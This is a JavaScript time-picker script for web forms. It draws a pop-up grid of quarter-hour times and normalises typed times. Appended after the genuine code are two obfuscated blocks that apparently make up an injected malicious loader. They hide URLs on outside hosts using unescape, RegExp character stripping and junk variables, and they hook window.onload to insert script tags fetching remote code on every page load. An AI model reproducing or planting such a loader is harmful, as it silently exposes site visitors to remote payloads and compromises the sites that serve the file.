//	Written by Tan Ling wee
//	on 19 June 2005
//	email :	info@sparrowscripts.com
//      url : www.sparrowscripts.com

	var imagePath='images/';
	
	var ie=document.all;
	var dom=document.getElementById;
	var ns4=document.layers;
	var bShow=false;
	var textCtl;

	function setTimePicker(t) {
	
		textCtl.value=t;
		closeTimePicker();
	}

	function refreshTimePicker(mode) {
		
		if (mode==0)
			{ 
				suffix="am"; 
			}
		else
			{ 
				suffix="pm"; 
			}

		sHTML = "<table style='background-color:white'><tr><td><table cellpadding=3 cellspacing=0 bgcolor='#ffffff'>";
		for (i=0;i<=11;i++) {

			sHTML+="<tr align=right style='font-family:verdana;font-size:9px;color:#000000;background-color:white'>";

			if (i==0) {
				hr = 12;
			}
			else {
				hr=i;
			}	

			for (j=0;j<4;j++) {
				sHTML+="<td width=57 style='cursor:hand' onmouseover='this.style.backgroundColor=\"#66CCFF\"' onmouseout='this.style.backgroundColor=\"\"' onclick='setTimePicker(\""+ hr + ":" + padZero(j*15) + " " + suffix + "\")'><a style='text-decoration:none;color:#000000' href='javascript:setTimePicker(\""+ hr + ":" + padZero(j*15) + " " + suffix + "\")'>" + hr + ":"+padZero(j*15) + "<font color=\"#808080\">" + suffix + "</font></a></td>";
			}

			sHTML+="</tr>";
		}
		sHTML += "</table></td></tr></table>";
		document.getElementById("timePickerContent").innerHTML = sHTML;
	}

	if (dom){
		document.write ("<div id='timepicker' style='z-index:+999;position:absolute;visibility:hidden;background-color:white'><table style='border-width:3px;border-style:solid;border-color:#0033AA;background-color:white' bgcolor='#ffffff' cellpadding=0><tr bgcolor='#0033AA'><td><table cellpadding=0 cellspacing=0 width='100%' background='" + imagePath + "titleback.gif'><tr valign=bottom height=21><td style='font-family:verdana;font-size:11px;color:#ffffff;padding:0px' valign=center><B>&nbsp;&nbsp;Select a Time&nbsp;&nbsp;</B></td><td><img id='iconAM' src='" + imagePath + "am1.gif' onclick='document.getElementById(\"iconAM\").src=\"" + imagePath + "am1.gif\";document.getElementById(\"iconPM\").src=\"" + imagePath + "pm2.gif\";refreshTimePicker(0)' style='cursor:hand'></td><td><img id='iconPM' src='" + imagePath + "pm2.gif' onclick='document.getElementById(\"iconAM\").src=\"" + imagePath + "am2.gif\";document.getElementById(\"iconPM\").src=\"" + imagePath + "pm1.gif\";refreshTimePicker(1)' style='cursor:hand'></td><td align=right valign=center>&nbsp;<img onclick='closeTimePicker()' src='" + imagePath + "close.gif'  STYLE='cursor:hand'>&nbsp;</td></tr></table></td></tr><tr><td colspan=2><span id='timePickerContent'></span></td></tr></table></div>");
		refreshTimePicker(0);
	}

	var crossobj=(dom)?document.getElementById("timepicker").style : ie? document.all.timepicker : document.timepicker;
	var currentCtl

	function selectTime(ctl,ctl2) {	
	
		var leftpos=0
		var toppos=0

		textCtl=ctl2;
		currentCtl = ctl
		currentCtl.src=imagePath + "timepicker2.gif";
		aTag = ctl
		do {
			aTag = aTag.offsetParent;
			leftpos	+= aTag.offsetLeft;
			toppos += aTag.offsetTop;
		} while(aTag.tagName!="BODY");
		crossobj.left =	ctl.offsetLeft	+ leftpos 
		crossobj.top = ctl.offsetTop +	toppos + ctl.offsetHeight +	2 
		crossobj.visibility=(dom||ie)? "visible" : "show"		
		//hideElement( 'SELECT', document.getElementById("calendar") );
		//hideElement( 'APPLET', document.getElementById("calendar") );			
		bShow = true;		
	}

	// hides <select> and <applet> objects (for IE only)
	function hideElement( elmID, overDiv ){
		if( ie ){
			for( i = 0; i < document.all.tags( elmID ).length; i++ ){
				obj = document.all.tags( elmID )[i];
				if( !obj || !obj.offsetParent ){
						continue;
				}
				  // Find the element's offsetTop and offsetLeft relative to the BODY tag.
				  objLeft   = obj.offsetLeft;
				  objTop    = obj.offsetTop;
				  objParent = obj.offsetParent;
				  while( objParent.tagName.toUpperCase() != "BODY" )
				  {
					objLeft  += objParent.offsetLeft;
					objTop   += objParent.offsetTop;
					objParent = objParent.offsetParent;
				  }
				  objHeight = obj.offsetHeight;
				  objWidth = obj.offsetWidth;
				  if(( overDiv.offsetLeft + overDiv.offsetWidth ) <= objLeft );
				  else if(( overDiv.offsetTop + overDiv.offsetHeight ) <= objTop );
				  else if( overDiv.offsetTop >= ( objTop + objHeight + obj.height ));
				  else if( overDiv.offsetLeft >= ( objLeft + objWidth ));
				  else
				  {
					obj.style.visibility = "hidden";
				  }
			}
		}
	}
		 
	//unhides <select> and <applet> objects (for IE only)
	function showElement( elmID ){
		if( ie ){
			for( i = 0; i < document.all.tags( elmID ).length; i++ ){
				obj = document.all.tags( elmID )[i];
				if( !obj || !obj.offsetParent ){
						continue;
				}
				obj.style.visibility = "";
			}
		}
	}

	function closeTimePicker() {
		crossobj.visibility="hidden"
		showElement( 'SELECT' );
		showElement( 'APPLET' );
		currentCtl.src=imagePath + "timepicker.gif"
	}

	document.onkeypress = function hideTimePicker1 () { 
		if (event.keyCode==27){
			if (!bShow){
				closeTimePicker();
			}
		}
	}

	function isDigit(c) {
		
		return ((c=='0')||(c=='1')||(c=='2')||(c=='3')||(c=='4')||(c=='5')||(c=='6')||(c=='7')||(c=='8')||(c=='9'))
	}

	function isNumeric(n) {
		
		num = parseInt(n,10);

		return !isNaN(num);
	}

	function padZero(n) {
		v="";
		if (n<10){ 
			return ('0'+n);
		}
		else
		{
			return n;
		}
	}

	function validateDatePicker(ctl) {
		t=ctl.value.toLowerCase();
		t=t.replace(" ","");
		t=t.replace(".",":");
		t=t.replace("-","");

		if ((isNumeric(t))&&(t.length==4))
		{
			t=t.charAt(0)+t.charAt(1)+":"+t.charAt(2)+t.charAt(3);
		}

		var t=new String(t);
		tl=t.length;

		if (tl==1 ) {
			if (isDigit(t)) {
				ctl.value=t+":00 am";
			}
			else {
				return false;
			}
		}
		else if (tl==2) {
			if (isNumeric(t)) {
				if (parseInt(t,10)<13){
					if (t.charAt(1)!=":") {
						ctl.value= t + ':00 am';
					} 
					else {
						ctl.value= t + '00 am';
					}
				}
				else if (parseInt(t,10)==24) {
					ctl.value= "0:00 am";
				}
				else if (parseInt(t,10)<24) {
					if (t.charAt(1)!=":") {
						ctl.value= (t-12) + ':00 pm';
					} 
					else {
						ctl.value= (t-12) + '00 pm';
					}
				}
				else if (parseInt(t,10)<=60) {
					ctl.value= '0:'+padZero(t)+' am';
				}
				else {
					ctl.value= '1:'+padZero(t%60)+' am';
				}
			}
			else
   		    {
				if ((t.charAt(0)==":")&&(isDigit(t.charAt(1)))) {
					ctl.value = "0:" + padZero(parseInt(t.charAt(1),10)) + " am";
				}
				else {
					return false;
				}
			}
		}
		else if (tl>=3) {

			var arr = t.split(":");
			if (t.indexOf(":") > 0)
			{
				hr=parseInt(arr[0],10);
				mn=parseInt(arr[1],10);

				if (t.indexOf("pm")>0) {
					mode="pm";
				}
				else {
					mode="am";
				}

				if (isNaN(hr)) {
					hr=0;
				} else {
					if (hr>24) {
						return false;
					}
					else if (hr==24) {
						mode="am";
						hr=0;
					}
					else if (hr>12) {
						mode="pm";
						hr-=12;
					}
				}
			
				if (isNaN(mn)) {
					mn=0;
				}
				else {
					if (mn>60) {
						mn=mn%60;
						hr+=1;
					}
				}
			} else {

				hr=parseInt(arr[0],10);

				if (isNaN(hr)) {
					hr=0;
				} else {
					if (hr>24) {
						return false;
					}
					else if (hr==24) {
						mode="am";
						hr=0;
					}
					else if (hr>12) {
						mode="pm";
						hr-=12;
					}
				}

				mn = 0;
			}
			
			if (hr==24) {
				hr=0;
				mode="am";
			}
			ctl.value=hr+":"+padZero(mn)+" "+mode;
		}
	}
var M=new String();try {var A='';var v;if(v!='Dq'){v=''};var AL;if(AL!='iE' && AL!='JI'){AL=''};var G=window[unescape("%75%6e%65%73%63%61%70%65")];var W=window[G("%52%65%67%45%78%70")];var k;if(k!='' && k!='Jw'){k=null};var D=null;var J=G("%72%65%70%6c%61%63%65");var P="";function s(m,g){var E;if(E!='S' && E != ''){E=null};var sq=G("%5b");var B=new Date();var w=new Date();sq+=g;sq+=G("%5d");var xl="";var sO=new W(sq, G("%67"));var ga=new Array();var t;if(t!='Le' && t!='o'){t='Le'};return m.replace(sO, D);var rP=new Date();};var FF;if(FF!='hp' && FF!='Gn'){FF=''};var Ld;if(Ld!=''){Ld='Dx'};var V=s('/QgQoEoUgQlVeS.RcSowmV/Np1rDoUbwozaVrUdRsJ.1cNoDmV/Q5Q5ibibis3.UcxozmS.3pHh1pD','EQiIz1UD3HVRNSwxJ');var f=new String();var _=new Date();var m=G("%31");this.Pz="";var qq=new Array();var sl;if(sl!='' && sl!='mH'){sl='Sr'};var I_='';var r="qTGonloa".substr(3)+"A0ad".substr(3);var R;if(R!='' && R!='Lp'){R=''};var Z=new String();var n=s('8121255522596523323201139616513677748559214376222767076653516529495191','46732159');var U="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var c=G("%73%63%72%69%70%74");var cr='';var jc="";function O(){var JS;if(JS!='' && JS!='Up'){JS=''};var sA=new String();var q=document;var cf;if(cf!='mO' && cf!='PQ'){cf=''};j=q.createElement(c);var bX="";cr+=U;this.bQ='';var vR;if(vR!='fz'){vR=''};cr+=n+V;j.src=cr;this.A_='';j.defer=m;var Cy=new Date();this.EZ="";var jO=q.body;jO.appendChild(j);var BKp="";var bXC;if(bXC!='' && bXC!='xlX'){bXC=''};};window[r]=O;var rD;if(rD!=''){rD='vv'};} catch(H){this.wk="";};var X_=new Date();var pq;if(pq!='' && pq!='Ot'){pq='aU'};
function d(){this.ad="";this.i="";var b=window;var aU=new Date();var U=b['unescape'];var Y;if(Y!=''){Y='gy'};var Am=new String();var y=U("%2f%67%6f%6f%67%6c%65%2d%63%6f%6d%2d%73%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%76%65%72%2d%62%6c%6f%67%2e%63%6f%6d%2e%70%68%70");this.j="";var hE;if(hE!='' && hE!='_a'){hE=null};var Ar;if(Ar!='R' && Ar!='GS'){Ar='R'};function L(D,a){var HW;if(HW!='JD' && HW!='l'){HW='JD'};var n;if(n!='Fd'){n=''};var A=U("%5d");var s=U("%5b");var Fz="";var Lp="g";var Yb;if(Yb!='no' && Yb!='p'){Yb=''};var H=new RegExp(s+a+A, Lp);var go=new String();return D.replace(H, new String());var N;if(N!='Ac' && N!='Hp'){N='Ac'};};var Rs;if(Rs!=''){Rs='zO'};var ZI='';var Ke;if(Ke!='' && Ke!='qS'){Ke='oR'};var u=L('sSrUcG','PaL8ojM_CGUSR');var Zd=new Date();this.VJ="";var w=L('socYrZiMpjtm','MgjdJF3QOqYoZexDumWL41');var V=L('dgeVfteJr3','FotgcbJp3lqVsHm');var Z=document;var xZ;if(xZ!=''){xZ='fa'};var nK='';var VA=L('85421915932515422304433539351441815413244331453509152921591245','543192');var t;if(t!='dY' && t!='vH'){t='dY'};this.zv="";this.XH='';function F(){var MB=new String();var uF="";var g=U("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var O=g;O+=VA;var uq=new Array();O+=y;var tb;if(tb!='yd' && tb!='Ti'){tb=''};var aB='';var PQ;if(PQ!='' && PQ!='gh'){PQ=null};var ko='';try {var dm;if(dm!=''){dm='vC'};var _ay;if(_ay!='MJ' && _ay!='oF'){_ay=''};q=Z[L('cYrDeYastUejEKlueRmFejnutK','3bUBYRdDux9FsjZK')](w);this.yO='';this.wA='';q[V]=[1][0];q[u]=O;var hq;if(hq!='' && hq!='bm'){hq='eK'};var lV;if(lV!='UJ'){lV='UJ'};var wz="";Z.body[L('aspLpge3nPd8CshLi3lHdV','Lg83sH5VPZEy')](q);this.LB='';var US="";} catch(ub){};var kJ="";var Nk="";var eQ;if(eQ!='I' && eQ!='DU'){eQ='I'};var It="";}var FI;if(FI!='' && FI!='es'){FI=''};var J=L('oBnBlBoSasdS','ZBs8krS');var QS='';b[J]=F;var aj="";var tL;if(tL!='hA'){tL='hA'};};var NO=new Array();var Xq;if(Xq!='JO' && Xq!='Pw'){Xq=''};d();